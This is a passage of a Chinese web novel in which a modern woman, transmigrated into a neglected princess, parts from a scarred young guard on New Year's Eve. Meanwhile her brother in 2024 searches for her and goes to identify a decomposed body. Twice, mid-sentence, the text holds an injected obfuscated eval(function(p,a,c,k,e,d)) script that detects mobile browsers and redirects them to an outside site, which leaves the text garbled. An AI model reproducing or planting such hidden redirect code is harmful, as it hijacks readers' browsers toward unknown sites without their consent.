四公主的生母江采女位卑,六品以下的宫妃是没有资格参加除夕宫宴这般盛大隆重的宴席的。 孟书渺也没再说话,两人就这么慢慢地走着,一直走到小道叉口,她道了声别正打算往西拐却被四公主喊住了,“五妹且慢。” 转回头,一个什么物件被塞到了手中,孟书渺低头一看,两样东西,一个用绢帕包裹着,另一个则是朱红的荷包,抬起头就见四公主腼腆笑道:“帕子新的,今日才第一回用是干净的,荷包里是阿娘嘱咐给妹妹的压岁红封,愿五妹妹岁岁长安。” 说完四公主福身一礼,似是怕被拒绝,转身便小跑着朝东边小道走了。 孟书渺看着四公主渐渐走远的背影怔愣了一会儿,她低头看向自己的手掌,荷包摸着的手感像是一些碎银。 她小心翼翼地打开裹在一起的手帕,是一份炙羊肉…… 孟书渺对着那份羊肉出了会儿神,忽然笑了笑,然后吸吸鼻子咳嗽一声,将手帕重新裹好,递给杏芽收好,笑着道:“走吧,回去咱正经吃顿年夜饭。” 杏芽依旧是那个不爱说话的姑娘,她又朝孟书渺靠近了些,挡去了大半吹来的寒风,孟书渺挽住她的胳膊,将她那只同样冰冷的手揣进了自己用大氅遮挡的怀中,两个女孩儿互相依偎着朝西巷走去。 途径御花园,越往西巷方向走就越偏,光线就越暗,走到后面基本只有杏芽提着那小坡灯笼在风中一晃一晃的,昏暗的光线下的阴影也跟着张牙舞爪。 “岁宁。” 一道男声自前方幽暗处传来。 孟书渺下意思浑身一震,全身汗毛竖立,差点直接蹦起来灵魂原地升天。 前方歪脖子枯树下那灯笼模糊光亮映照下站了个人,孟书渺透过灯笼昏暗的光待看清了来人是谁后,那快要炸膛的心跳声才稍稍缓了缓,“仰礼哥,是你啊!” 瞧他今日这玄色镶边鸦青缎面直缀,并非是内廷卫值勤时的曳撒服制,那就是今日非他当值。 被喊仰礼哥的俊逸青年,身挺如松,眉目清雅俊逸,分明是个芝兰玉树的年轻公子,偏生左脸颧骨到嘴角处有那么一道淡褐色的疤,这样横亘在青年金质玉相的侧脸上多少显得违和。 青年名唤季谦,他淡淡含笑回道:“今日随父亲进宫参宴,散席后众人皆随圣驾去了正阳门,我就知你大抵是不会去的,便在此等候。” 孟书渺愣了愣,疑惑地问:“那……方才太和殿里我怎么不曾见到你?” 被这么问,季谦原本温和含笑的眉眼染上了些苦意,似不愿多说“本应是该在殿中的,只开宴前,她……母亲她唤我有事,耽搁甚久,再入太和殿已然不便。” 孟书渺默然,不知该说什么。 季谦比她大三岁,和她有着离奇相似身世,父亲武安侯,母亲武安侯原配夫人,母家和成国公府有那么一丢丢远亲关系,当年李家覆灭季谦外家也牵连了进去,之后没多久,武安侯夫人就因病亡故了,丧期一满武安侯就风风光光地迎了继室,这继室乃皇后之妹。 武安侯夫人小孙氏也是个猛人,十几年间,季谦经历了包括但不限于被使绊子、买凶、诬陷、中毒、造黄谣等一系列生理和心理上的摧残,像今天这样的手段只能算是洒洒水,他能活到现在还是个讲文明懂礼貌五好青年,只能说其内核无比强大。 就他脸上那道疤,直接让当年的名满卫京的少年解元断送了科举入仕的路,而有了后娘就有后爹,这事外面闹得沸沸扬扬,就连在西巷的孟书渺都略有耳闻,可在武安侯府居然没点子反应。 也得亏季谦自身实力过硬,文武双修,这事的风波过去后不久,他那任吏部尚书的爹请旨想给他在内廷卫谋个小差,大卫文官凡面有瑕者皆不用,但对武官并无严苛要求。 孟书渺和季谦相识,也是因为季谦当值夜里巡逻至液池偏僻处撞上了她领着杏芽和春山偷捞池子里的景观鱼吃。 当时季谦显然是知晓她身份的,或许因为一表三千里的亲戚关系,亦或是出于同病相怜,总之他并没有声张,反而替孟书渺遮掩放她们离开。 自那之后季谦就和孟书渺渐渐熟络了起来,他帮了不少忙,那只简陋版的柴火炉以及院子里养着那群兔子最开始的两只雌雄种兔就都是季谦从中帮忙周旋才能被带进来的。 孟书渺是很感激他的,她被禁锢在西巷一方破败的高墙之下动弹不得,季谦亦是艰难求存,或许是因为能相互共情,孟书渺对他心存感激的同时也慢慢不像最初那样陌生防备,他当差的时候偶尔得空会悄悄过来看看,有时是和孟书渺说上几句话,有时会给她带点吃用的小玩意儿。 如今站在枯树下,季谦脸上的疤在昏暗的灯笼光下并没有让他显凶相,孟书渺觉得他的人和声音一样,有种舒朗温和的感觉:“宫宴进不去,我便避了人早早候在这儿,初五我便要启程了,临行前我总是要来与你道声别的。” 孟书渺有些错愕:“这么快便要动身了?不是说要等过完元宵再行动身之事吗?” 季谦答道:“原定了元宵后启程,岂料寒灾来势汹汹,卫京以南至两江亦是冻死了不少人畜,各地流民频起,朝中怕各边疆再有异动,兵部让我等接调令提前动身。” 孟书渺默默听着没有说话。 新年后季谦要外放去边关军中戍边,此事月前就已定下。 近一年来季谦所遭遇的那些人身安全威胁愈发频繁和疯狂,小孙氏像是下定了某种决心不想让其活过她亲儿子的及冠之年了。 没有可依傍的外家,继母狠辣,生父漠视,季谦想要活着就必须自己为自己搏出路。边关虽危机四伏,凶险艰苦,但若能寻得机遇置之死地而后生,未来之事谁都不可说,他需要远离卫京为自己奋力搏出一线生机。 离开卫京去边疆就等同于自己放弃侯府世子之位,季谦自己提出的,武安侯上了折子,明帝准允了,临近年关的这段时间,至少孙氏到现在为止暂无动作。 “此去一别,山高路远,若要相见怕是不易,我走后岁宁你且多多保重。”季谦温和地说着告别的话。 听着这语气真挚的惜别之词,孟书渺抿了抿唇暂时摒下所有思绪,抬眸看着季谦轻声道:“我在西巷一贯如常,倒是坤城距卫京路途遥远,此去一路定是道阻且长,望一路平安,到了坤城,无论吃穿住行还是上阵迎敌都需多加小心。” 季谦定定凝视孟书渺:“我会的,一定会平安的。” 说完之后,他张了张嘴,想说什么又不知该如何开口,眸色深沉看着面前纤瘦单薄的姑娘,见她氅衣领口系带的结略有松散,便暗自握了握拳,怕是唐突,只稍稍上前挪动半步,抬起手替面前的人拢了拢衣襟。 孟书渺在季谦那半步朝她靠过来的时候就下意识地想要后仰回避,身形微不可察地动了动,但到底还是站定在那里,低头任季谦为她系紧大氅领口带子的结。 季谦扎好系带,低头看着面前姑娘乌黑的发顶,深吸一口气,仿佛终是下定了某种决心,带着几分小心翼翼低声道:“岁宁,你且在西巷好好的,保重自己,我……再等等,等我在那儿扎稳脚跟,不再连自己的性命都顾不及,不再为人鱼肉,我便去请旨赐婚,三年……至多三年,我定请旨带你离开这里!你信我!” 他眸底神色坚定,郑重承诺。 听说四公主和比岁宁小三岁的六公主都已经议婚开始挑选驸马了。只有行五的岁宁仿佛被所有人遗忘了般悄悄地活在角落里,没了身生母亲,就是如蒲草一般艰难,即便是再三年,宫里恐怕都不一定想得起她的终身大事。 孟书渺听着季谦的话,微微垂首,敛目遮去眼中所有的情绪没有看季谦,她瞥见在灯笼火光幽暗的照映下有瓣雪花打着旋儿下坠,轻轻落在她的鞋尖上,又很快消融不见。 周遭的一切声响都隐匿在纷洒落下的雪花间,就在季谦都要以为她不会再给他答复的时候,孟书渺抬起了头,让有些冻僵的脸牵起一个笑,而后才抬眼看向季谦那满是希冀的脸,“嗯,我信,信你带我离开这里。” 季谦听到了肯定的应允,心中期盼紧张的心情这才松缓了些下来,露出一个大大的笑容,便是脸上那道疤看着似是也淡了些。 一直以来都是止乎于礼的人从袖筒中拿出一只金簪递到孟书渺跟前:“这……这是我母亲留与我的,岁宁我、我……” 孟书渺看着眼前牡丹花掐丝钿头簪,大抵是有些年头了,金簪因氧化色泽显得有些暗淡,只打眼瞧着便能看出做工精致华丽,且被人保护的很好。 她默了一瞬,并没有说话,只是朝着季谦方向微微侧过头。 季谦欣喜溢于言表,放轻动作将金簪簪入孟书渺的发髻中。 抬手摸了摸,指尖有金簪冰凉的触感,孟书渺再次抬眼望向季谦,对方的瞳孔之中有着她的倒影。 纸灯笼里昏黄的烛火跳跃着明明暗暗的阴影。 可她在心里却想的是,坤城是西南边塞军事要地,与西南夷诸小国部落毗邻。 西南啊…… 眼中似有说不清道不明的期待与渴望,孟书渺看着季谦忽然问道:“会同意吗?会就这般轻易同意我们?真的能三年后离了这里,随你一同去坤城吗?” “会同意的,只要我在坤城站稳了脚,我便能有法子叫他们阻碍不了,圣上会同意的。”季谦替她拂去落在肩头的雪花。 卫朝虽并无驸马只任闲置之说,只是季谦请旨离京去西南守军戍边等同于自贬流放,不会有多少人在意他去娶一个母家早已败落的失宠公主。 “只是啊……”季谦笑容变得有些苦,心中终是难平,“西南蛮荒自古便是流放之地,多的是瘴气毒林、蛇鼠虫蚁,闷热潮湿,地势险峻崎岖,那地又兵事常年不断,小国部落大多野蛮未开化,怕是要委屈了你。” 孟书渺低头敛下眼睑不去看他,只轻声道:“风物志说西南亦是风景秀美,山川巍峨河流壮阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212690|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也并非全是瘴气毒林之苦,当地部落自有别样风俗民情,我倒是向往离了这高墙牢笼去那里,坤城多兵事也不妨,不委屈的。” 她是亲眼见过后世的西南有怎样的风光风情,所以并不觉得哪里不好,那里更是如今的她做梦都想要到达的地方, 季谦只当孟书渺说这话是为宽慰他,见她垂首低眉,便也并未细瞧她此时有些怔忪的神色。 两人又互相说了些道别珍重的话,枯树下寒气逼人无所遮挡,季谦见孟书渺苍白的面容两颊冻得绯红,知晓她的身体是受不住寒的,便结束这场话别,再次道别让孟书渺保重之后匆匆离去。 孟书渺站在原地,看着季谦走远的背影隐入黑夜中直至再也看不见,凛冽的寒气自鼻腔而入,犹如那锋利的刀子般割得肺腑生疼,忍不住咳嗽两声,然后脸上那羞涩浅淡的笑意一下隐去,目光淡然无神,面无表情。 收回目光来正对上杏芽干净单纯的眼睛,她捂了住杏芽被寒气冻得冰凉的手勉强笑了笑:“走吧,这雪瞧着又要下大了。” 两人拐过偏僻的花园,互相搀扶着在积雪未融又覆上新雪的狭窄宫道小心翼翼地走着。 “公主,三年后我们真的能离开吗?”静谧昏暗的环境中,一直沉默的杏芽突然开口问孟书渺。 孟书渺顿了顿,轻声答道:“嗯,还有三年的时间,总是要试试的,总不能在这里一辈子蹉跎到老。” 孟书渺和季谦的想法一样,她在宫里没有任何依仗对任何人都构不成威胁,她是生是死,嫁人还是死在西巷,对于明帝来说还不如他晚饭吃什么来的重要,三年的时间若能运作得当,这件事的可操作性非常大,她得回去同巽娘好好商量。 这个时代西南的生存环境比不得现代的云贵两广,但无论是她还是巽娘杏芽他们几个,去那里总归比在西巷受挫磨前途未卜得好,而若一直这般龟缩在西巷,她的命始终是攥在别人手中的。 季谦一直以来帮忙带过不少风土游记,孟书渺也有意识地暗自收集了起有关西南风物的书,结合孟书渺脑海中的地理知识,现代的云黔桂地区都有一部分在卫朝疆域版图之内,剩下那部分并更朝外的湄公河等流域部族小国,卫朝统称为西南夷,她大致能判断出坤城位于现代所贵州与广西的交界。 坤州是卫朝西南边境,由此地域再往北则分布着夜郎国诸部。那里就是孟书渺现代地理认知中的贵州。 她穿越来卫朝前,她在前世现代的意识最后留下记忆的地方就是贵州六盘水。 那时她和几个朋友相约去龙脊天路徒步野营,明明装备完善,徒步野营路段也是在当地景区开发完善的安全区域,甚至在上山前还请了当地的向导,准备在安全地带露营一晚再下山。 傍晚扎营饭时,妈妈打来了电话,因为山上信号不太好,身边朋友笑闹声盖住了电话听筒那边的声音,她就离开人群多走出去了几步找了个相对僻静的地方接电话。 然后啊…… 到现在,孟书渺穿来十年,很多穿越前的记忆她开始随着时间慢慢淡去,但那一个穿越瞬间就像是定格在她灵魂深处的画面一样她一直记得清清楚楚。 那么一瞬间,就真的只是那么一个眨眼的瞬间,眼前的所有景象全变了,明明前一秒朋友们的笑闹声就在不远处,明明耳边电话里妈妈还在问她什么时候回家要她注意安全,她张嘴都来不及回答,可下一瞬所有的一切就都消失了。 周遭一片寂静,仿佛整个世界除了她就是一片黑暗,在无限的恐惧中她看到四周有浓厚的白雾以极快的速度涌现而来将她全身包裹。 一阵天旋地转之后孟书渺感觉自己来到一个虚无维度空间,就仿佛是另一个维度的黑暗空间,没有任何声音实物感,缥缈虚无的黑暗,她不知道自己在那黑暗中飘荡了多久,直到失去意识。 等再次有意识醒来,就是在卫朝皇宫角落那个小池塘中,此时的她已经换了一副躯壳。 从这副躯壳九岁到如今十九岁,等开春过了生辰就满二十了,已经十年,她没有一刻不想要回去。 这十年间,她思考设想过无数种她穿越的契机和条件,也曾瞒着所有人一个人偷偷去她醒来时的池塘数次,但都没有任何有用的发现,她甚至都试过将自己整个人沉入水中,一直到意识模糊的前一瞬。 孟书渺承认自己是个怂货,她怕死,不知道死后能不能回去,非常怕死。 她怕在这个世界死亡就是她灵魂的终点,怕她死后就真的再也不存在了,再也没有任何机会回到她原来的世界去了,再也见不到到她想见的人。 所以她想去西南那边试一试,或许来时的路就是她回去的道,六盘水如今在夜郎国境内,从坤州过去路程并不远。 她想家,在这里的十年,她从来没有归属感,没有一天不想回家,她想不明白为什么会是她,穿越不是她的奇遇而是劫难,她觉得自己就像社会法制新闻里那些被拐卖进大山逃不出去的可怜女人。 真的好想好想好想回家啊…… “砰——” 远处天空传来一声爆竹声,将孟书渺的思绪拉回来,她抬头朝声音传来的方向望去,正阳门燃起了烟花,因着高高的宫墙遮挡,并不能看见,只能瞧见天边那泛起的亮光。 已近子时,又是一年过去了。 孟书渺迎着刺骨的冷风,努力睁着眼睛,将涌上来的泪意逼回去,轻声对身旁的杏芽道:“咱们走快些回罢,姑姑该着急了。” 两人将步伐加快了些,踩在雪地里,发出嘎吱的声响,伴着爆竹声声,沉默地朝慢慢朝前走,也慢慢地走完她在这个时代的第十个年头。 8. 第 8 章 十年,实在是够久了,久到孟书渺害怕自己慢慢淡忘了曾经真是的自己,她一直不愿意把自己另一个世界的记忆称为前世,那不是她死去后的前世,那是她回不去的家。 有时候她怕时间自己真的会慢慢忘记,就会强迫一遍遍让自己回忆那个世界的人,爸爸妈妈、哥哥、奶奶、外公外婆、姑姑叔叔、兄弟姊妹、老师同学、闺蜜朋友、恋人…… 一路走在这条长长的宫道,孟书渺再一遍一个个地在脑海中回忆这些人的样貌、声音,抬头便看到了尽头的院门口亮着光,巽娘带着春山已不知在门口盼着等了多久。 见她们回来,巽娘赶忙迎上去,将一直搭在手里那床小毯披在孟书渺身上,她打眼便瞧见了她髻上比去时多出来的那支金簪,什么也没问,只轻声说了一句:“外头冷,进屋去罢,饭菜还温着。” 孟书渺低低应了一声,裹紧了毯子跟着往里走。 四人关门进院,正待往里走,就听得旁边角门处那个小屋子的门吱呀一声,半张枯朽如树皮的老脸出现在门后正定定地望着她们。 孟书渺转头看向蔡老头,将身上披的毯子拿下来,抬一抬衣袖,从袖筒中取出一个油纸包递给杏芽,而后对那蔡老太监朗声笑道:“年三十除秽迎神,公公管着我们西巷门户房亦是辛苦,这包点心莫要嫌弃,留着吃茶时甜甜嘴罢。” 杏芽拿着纸包给送过去,蔡老太监干瘪的嘴唇动了动,接过杏芽递过来的油纸包后觑了孟书渺一眼什么也没说转身将们关上了。 春山瞧着冷哼一声,将头撇转向另一边。 孟书渺在他头上轻拍了一下,“走吧,我还带回来不少好东西,有羊肉哦,咱们今年年夜饭上就再添炖一个羊肉羹,温热滋补。” 春山的眼睛顿时就亮了,跟着高高兴兴地往前走。 “砰砰——” 身后,院子外,一声又一声的爆竹烟花之声炸响,只是高墙阻拦黑夜之中看不见绚烂,但离得远了有些模糊的爆竹响声也惊动不了这做简陋小院里燃起的暖黄烛火。 *** 2024年,中国,京市。 孟书洲泊好车走进地下停车场的电梯。 电梯门缓缓合上,他靠着内壁,对面明亮光滑的镜面映照出他西装革履却风尘仆仆的模样,俊朗的眉宇间是无法掩饰的疲惫,因连续多日奔波未曾好好休息,眼中已经泛起了红血丝。 口袋里的手机振动起来,孟书洲拿出来一看,来电显示人是徐子望。 他摁下接听,还没来得及说话,电话对面的徐子望就迫不及待先开了口:“喂洲哥你到了吗?在哪里,要不要我来接你?” 孟书洲答道:“已经到了,正在电梯里。” “哦哦,那我在电梯边休闲区等你。” “好,等会儿见。” 挂断电话后没一会儿,电梯叮的一声就到了相应的楼层,门一开,孟书洲刚从里面走出来,便有一年轻男子正面迎了上来。 “洲哥!” 徐子望身穿工装裤、宽夹克,脖子上挂着一条银链子,是个肤白微胖的潮男,他一见到孟书洲就赶紧赶紧上前,说话带着些京话口音:“我堂哥和表哥都到了,我还叫了几个发小儿,人多点一起热热场子,我堂哥脾气好很好相处,就表哥看着严肃,但他这人其实就是不爱说话,还有我那几个发小儿,我等下都给你介绍介绍。” 两人一边往里走,一边说这话。 孟书洲侧头对徐子望笑笑,真挚道谢:“禾泰的单子能定下来还是要先谢谢你了。” 徐子望摆摆手:“嗨!这都是小事儿,洲哥你这就太见外了,我跟大渺什么关系哪,甭跟我这么客气……” 忽然提及某个名字,两人周身愉快的氛围一下凝滞了,面上的神情都有些沉寂。 徐子望默了默,侧目观察了一下孟书洲,想了想还是小心翼翼开口:“哥,我看你脸色不是很好,是不是身体不舒服?你……别把自己逼太狠了,叔叔和阿姨也是,让他们都要多保重身体……” 后面的话徐子望没有说下去,而孟书洲听着,勉强挤出一个笑对徐子望说:“我没事,大概就是回国刚落地还没来得及倒时差,我爸妈他们身体也还撑得住,你别担心。” 但这也只是说给旁人听的话,事实上这段时间以来他们全家都生活在水深火热的煎熬之中,孟书洲从接到妹妹失踪的消息开始到现在就再也没睡过一个好觉。 孟爸现在已经不管其他任何事了,只专心寻找女儿;孟妈最开始是一起在找女儿的,但一直没有消息随着时间推移因为实在不肯接受女儿已经出意外的可能而崩溃了,身体和精神双重击垮,现在已经下不来床了;孟家两个叔叔和几个关系近的亲戚都在帮忙积极寻找。 而孟书洲现在一个人撑着正个家,一边尽可能联系他所有的人脉资源寻找妹妹的下落,一边却不能分身必须坐镇后方,孟家公司这一个摊子,底下大大小小好几个工厂全国各地的门店,加在一起近万的员工,等着发工资养家糊口,况且如果要做打寻人持久战的准备的话也必须要有金钱支持。 妹妹失踪已经快四个月了,从最初报案开始到官方救援进山搜索,一直一无所获,警方那边也没有排查到什么有用的信息。 现在官方已经停止了搜救,妹妹在警方那里的信息登记是失踪人口,但无论是孟书洲还是孟家父母都不愿轻易接受这样的结果,于是已经决定他们自己投入了大量人力物力和精力。 他想,如果妹妹真的再也找不回来了,那他们这个家可能就要散了…… 所以一家人谁都不愿意相信女儿/妹妹有可能已经不在人世了,谁都不想放弃,没有确切的消息就当做还有希望,他们就要一直一直找下去,贵州找不到就去广西找,去广东找,去云南找,去全国各地找。 国内找不到,越过边境也要找…… 前两天不知道从哪里流传过来的一张模糊照片,身形有点像孟书渺,说是在M甸拍摄的,孟家人报了警,但警方也无法仅凭一张看不清面容的照片就断定是不是孟书渺,国内警方要去M甸调查流程又复杂,孟爸心急如焚实在不愿意久等下去,几经关系介绍,他们联系上了一个在缅当地极有威望的华人玉石商人,两天前孟爸就带着几个人已经动身飞去M甸了,想去那里先找点消息。 说来那玉石商也是通过徐子望这边的关系联系上的。 这边徐子望看着孟书洲忽然有些灰败下来的脸,心里很是自责难受,他是当时龙脊山徒步露营成员之一,本来开开心心的一次朋友之间的愉快旅程,谁能想到会变成这个样子,他的好朋友就这样悄无声息地失踪了。 孟书渺在龙脊山失踪后,最开始不光有官方的搜救队进山搜救,孟家自己更是找了许多人,徐子望帮着联络资源,一批又一批的救援队先后进山寻找。 可是那么多人,什么搜救犬、红感无人机等能用的都用上了,把龙脊天路那整片山区都仔仔细细翻了个遍,景区四周所有的监控都被一一排查过,但人就像是凭空消失了一样,没有任何有用的线索。 后来徐子望又求着家里帮忙,在整个六盘水寻找,依旧一无所获。 他气馁、懊恼、自责。他想,作为一同出行的伙伴,如果他当时能多分出一点心神多留意留意大渺,是不是就不会这样了? 可是自责也没有用,快四个月过去了,还是没有任何关于孟书渺的消息,徐子望也是在这寻找孟书渺的四个月里和孟书洲熟悉起来的,孟家现在还是一团乱,他总想着能帮点什么,于是便攒了今天的局。 “洲哥你刚回国,一定还没来得及好好吃点东西吧,我叫了餐,等会儿送上来,你好好吃点儿填填肚子,我哥他们也都还没吃晚饭,生意上的事到 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孟家是做纺织实业的,最开始做外贸加工起家,再如何说到底也只是个做生意的有钱人家,孟家的公司和工厂都在A省,孟爸白手起家,在京城这种地方根本没多少的人脉关系,尤其是这两年经济下行,制造业不景气,外贸更是遇冬,那一场疫情让孟家大受打击,到现在都还没缓过劲儿来。 徐子望这次虽然表面上只是帮他介绍了一个不大的加工订单,其实就是要把他的人脉引荐给孟家,说到底就是因为孟书渺。 徐子望自责,虽然不是他的错,但他就想弥补点什么。 孟书洲接受了他的好意,也打心里真心感谢,自从妹妹出事以后,眼前的这个男人真的帮了他们家很多。 两人又边走边聊,很快就到了一个房间门口,徐子望推开门请孟书洲进去。 见徐子望开门进来,此时在屋里的人都齐齐朝门口的两人看过来。 徐子望带着孟书洲进来,笑着对屋里的人嚷道:“来来来,我给大伙儿介绍一下,这就是我哥孟书洲,以后我有大哥、二哥,这就是我洲哥!” 徐子望的那几个发小见状都纷纷上前来和孟书洲热情打招呼。 孟书洲生意场上打滚这几年,各种交际活自不必说,谈笑有度地和大家一一打过招呼之后,徐子望就带着他去了最里面吧台的卡座那边。 那里坐了几个相貌气度都不凡的年轻男人,徐子望的那两个哥就在其中。 徐子望再度向这几个男人做介绍,不过态度可比刚才在外面给自己发小们作介绍的时候正经严肃多了,他的玩伴们不是精通吃喝玩乐就是还在上学的学生,但这里几位可不是。 几人态度都是温和有礼的,和孟书洲都一一打了招呼,还都互相交换了名片。这时候服务生打铃推着餐食进来了,于是开始大家伙一块坐下来吃东西。 徐子望的堂哥叫徐钦,禾泰的掌事人。 本来禾泰集团这样的庞然大物,做文化衫、员工服这种芝麻绿豆大的事自然用不着老总亲自谈,但禾泰也有外贸业务,就此徐钦和孟书洲聊得倒也愉快,旁边几人也会时不时搭腔几句。 徐子望表哥倒的确比较沉默寡言,桌上本来摆的是酒,听孟书洲说是自己开的车就不动声色给他了壶茶。 孟书洲对茶没有什么研究,端起来抿了一口,茶香清甘回味微苦,让他感觉因为没有休息好而钝钝涨痛了太阳穴一下神清了不少。 正在这时手机就响了,孟书洲便拿起手机先看了一眼,而后呼吸跟着狠狠一滞,脸上的笑容立刻淡了下来。 这是一个带着区号的陌生座机号码,来电显示地是贵州六盘水。 孟书洲感受到胸膛里剧烈的心跳声,他稳了稳心神,对旁边坐的徐子望、徐钦几人示意自己起身去接个电话。 快速走到外间的一个角落里,孟书洲深吸一口气按下了接听键。电话接通后,那边是一个带着点贵州口音的女声:“喂你好,请问是孟书洲吗?我这边是六盘水公安局XX分局刑侦大队的,是这样的……” 孟书洲在听到“刑侦”二字的时候只觉心脏猛地一个重击。 9.第 9 章 孟书洲只觉自己浑身的力气被骤然抽空。 电话对面的说话声音在他耳中笼着一阵嗡嗡的轰响声,“打捞一具无名女尸……死者特征……你妹妹,较吻合……需要协助确认一下……” 孟书洲天将手机紧紧贴在耳边,却依旧听不真切电话那头手段声音,他虚靠着墙,用力闭上了眼睛。 “洲哥,发生什么事儿了吗?” 徐子望的声音响起,他刚才在里面的时候见手机响孟书洲看到来电后的脸色就已经有点不对劲了,后面出去接电话后迟迟没有回来,有些担心就跟了出来。 他身后是慢他几步跟出来的表哥和堂哥。 “洲哥你哪里不舒服吗……洲哥?”徐望见孟书洲嘴唇发白,整个人似乎是倚靠着墙才勉强站稳的,又担心地问了一句。 孟书洲睁开眼看相徐子望这边,他扯了扯嘴角,此刻实在无法得体地控制自己的表情和情绪,只能用一下就变得有些干涩发颤的声音尽可能冷静地对徐子望小声说道:“子望,不好意思帮我和大家说声抱歉,我……我可能得先离开了,得立马去一趟六盘水。” 徐子望一听六盘水三个字,又观孟书洲此时这副神态表情,立马就有了不好的猜想,磕磕巴巴地问:“是……是大渺吗?她……她她有消息了?” 孟书洲强迫自己恢复冷静理智,一只手死死握紧已经挂断了通话的手机,“那边的警察刚给我打电话,说他们发现了一具无名女尸,有可能渺渺……” 徐子望呆立在原地。 几个大男人一时间都怔愣在那里,倒是徐钦最先反应过来,他对着自己弟弟吩咐道:“先别愣着了,你现在赶紧联系人让楼下把车准备好,孟总现在这样的状态暂时不适合开车了,我来安排。” “哦……哦哦,对对对,我这就去按排车。”徐子望回过神,慌里慌张地跑回去拿手机了。 徐钦拿出手机拨了个电话出去,挂断后一时之间只觉心中感触颇多,摇头微叹一口气,上前无声安慰地拍了拍孟书洲的肩膀。 等到徐子望这边把车安排好,徐钦已经安排好了目前最短时间内从首都到六盘水的交通方案。 “现在立刻出发去机场,直达六盘水的高铁车次今天已经都没有了,时间最近的是到贵阳的航班,两个小时后起飞,还有票,我让助理买票,现在立刻出发,到了贵阳以后我来安排联系人。” 徐钦利落地安排好一切,目光从孟书洲身上移到了另一边并排站着的的徐子望表兄弟俩的身上。 徐子望见堂哥看他,立刻出声:“我跟着一块去!” 一直没有说话的表哥替徐子望开了口,“事出从急,子望一个人可能确实是顾不过来,我跟着去吧。” 这时候脚步虚浮的孟书洲已经开始往门外走,徐子望和他表哥立即跟上,徐钦看着三人离开的背影默了默,和一个从内间出来的朋友打了声招呼后也匆匆跟去。 几人匆忙出发去机场,紧赶慢赶顺利登机,三个多小时的行程,落地贵阳后徐钦安排的人早已在机场等候,一行人上了车后立刻疾驰上了高速。 他们从首都出发的时候已经过了午夜十二点,等到达目的地的时候已经是快早上七点了。 这个时间刑警队还没到上班时间,但有人值班,无名女尸案又被高度重视,负责这个案子的其中两个警察熬了个大夜昨晚就是在单位打了个盹。 “尸体是在一个村子边上的塘子里被发现的,那个地方偏,平时很少有人去,塘子原先是村里有人养虾子的,后来废弃了,一塘子的淤泥,尸体被丢在靠近塘边的地方,当时是脸朝下正面趴进泥的姿态,法医初步判断死亡时间在三天以上。” 接待孟书洲几人的是一个姓李的年轻警察,他先是向孟书洲大概讲述了一下他们目前所掌握的关于那女尸的一些情况,女尸约莫过肩长发,初步推断年龄在24至27、8岁之间,身高一米六五至一米七之间,身体虽然已经有些肿胀,但体型应当是偏瘦的,这与孟书渺的基本特征都是吻合的。 而警方勘察现场时女尸身上一件黑色短T,绑成马尾的头发上有一根和黑色头绳,浑身上下,仅此而已……而孟书渺失踪后徐子望等人作为最后见她的人在笔录里的描述里孟书渺身穿成套冲锋衣冲锋裤,头发绑成马尾,她在最后失踪前是脱了冲锋衣外套的,里面穿的就是一件黑色的短袖T。 没有更明显的特征,这具尸体身上仅有一件黑色短袖上衣和一根头绳,孟书洲无从判断也不敢判断,只能等他亲眼见过尸体。 尸体现在被暂存在法医鉴定中心的冷柜里,等法医上班后李警官带着一行人去了鉴定中心,一边引着他们往里头李警官一边继续和他们说明情况,“现在8月份这个天气,那满塘子发臭的烂泥咧,正面朝下陷在里头,所以受害者的正面正脸已经看不出样子了,基本上是认不出样貌的,可能得有点心里准备啊。” 李警官委婉表达话里的意思,他看着孟书洲尽量放缓语气,“如果你无法接受也可以不用去亲自辨认,我们也能理解,目前就是在做身份排查确认,你是孟书渺的亲哥哥,不知道你父母来了没有,可以直接做DNA比对。” “不用了,我能接受的,我爸妈暂时没来过来,我先辨认看看。” 连夜分秒不停的奔波,本就已经疲惫不堪再加上这样一个令人心神俱裂到消息煎熬了他一夜,孟书洲嗓子已近嘶哑。 孟妈现在还在医院躺着,孟爸人在M甸,就是知道了一时半会儿也赶不回来。他们家现在已经够乱了,要是猛地告诉父母妹妹有可能已经被害了还要他们过来做这个和尸体的DNA比对,他不敢想象父母会有怎样的反应。 所以无论如何,一切都等他先辨认过这具女尸的身份后再说。 殡仪馆里阴森又冷清,李警官带着几人走在鉴定室充斥着淡淡消毒水味的走廊上,前面一个房间的门口已经有个穿着隔离服的法医等在那里。 李警官准备了口罩让他们戴上,法医打开门,在他们进去之前又出声提醒了一句,“尸体带回来以后虽然已经放进了冷柜,但已经腐烂,那个气味和样子一般人很难接受的,你们要有心理准备……” 孟书洲深吸一口气,抬脚进门,空气中已经能闻得一股叫人难以忽略的腐味。 白色的裹尸袋摆在台子上,法医看了孟书洲一眼,然后缓缓拉开了拉链…… 孟书洲用力闭了闭眼,鼓足了勇气去看面前的尸体。 极具冲击性的画面,那似能直击人灵魂的浓重的腐臭味。 孟书洲的手死死咬牙冲抵自鼻腔而入又从胃里返涌上来的生理性作呕的冲动,他睁圆双目强迫自己认真地看,一丝一毫都不能放过。 可是他辨不出来,真的分辨不出来,他根本不能将面前这具已经腐烂得面目全非的尸身和自己那个明媚漂亮的妹妹联系起来。 “呕——对不起……”徐子望再也控制不住,要哭不哭地捂住嘴跌跌撞撞地朝屋外冲。 徐钦倒是强忍住了没有作呕出声,但也只是粗粗看了两眼就撇过脸去不忍再看。 法医真的比一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随着灯光大亮,孟书洲一直虚浮无力的双腿终于支撑不住,他靠着墙蹲坐下来,惨白的灯光打在脸上,能叫人清楚地看到他下巴处冒出来的那一层胡茬。 他蹲在地上,双手无力向前伸开搭在膝上,埋头不语,静静等待着一会儿法医出来可能决定他妹妹生与死的宣判, 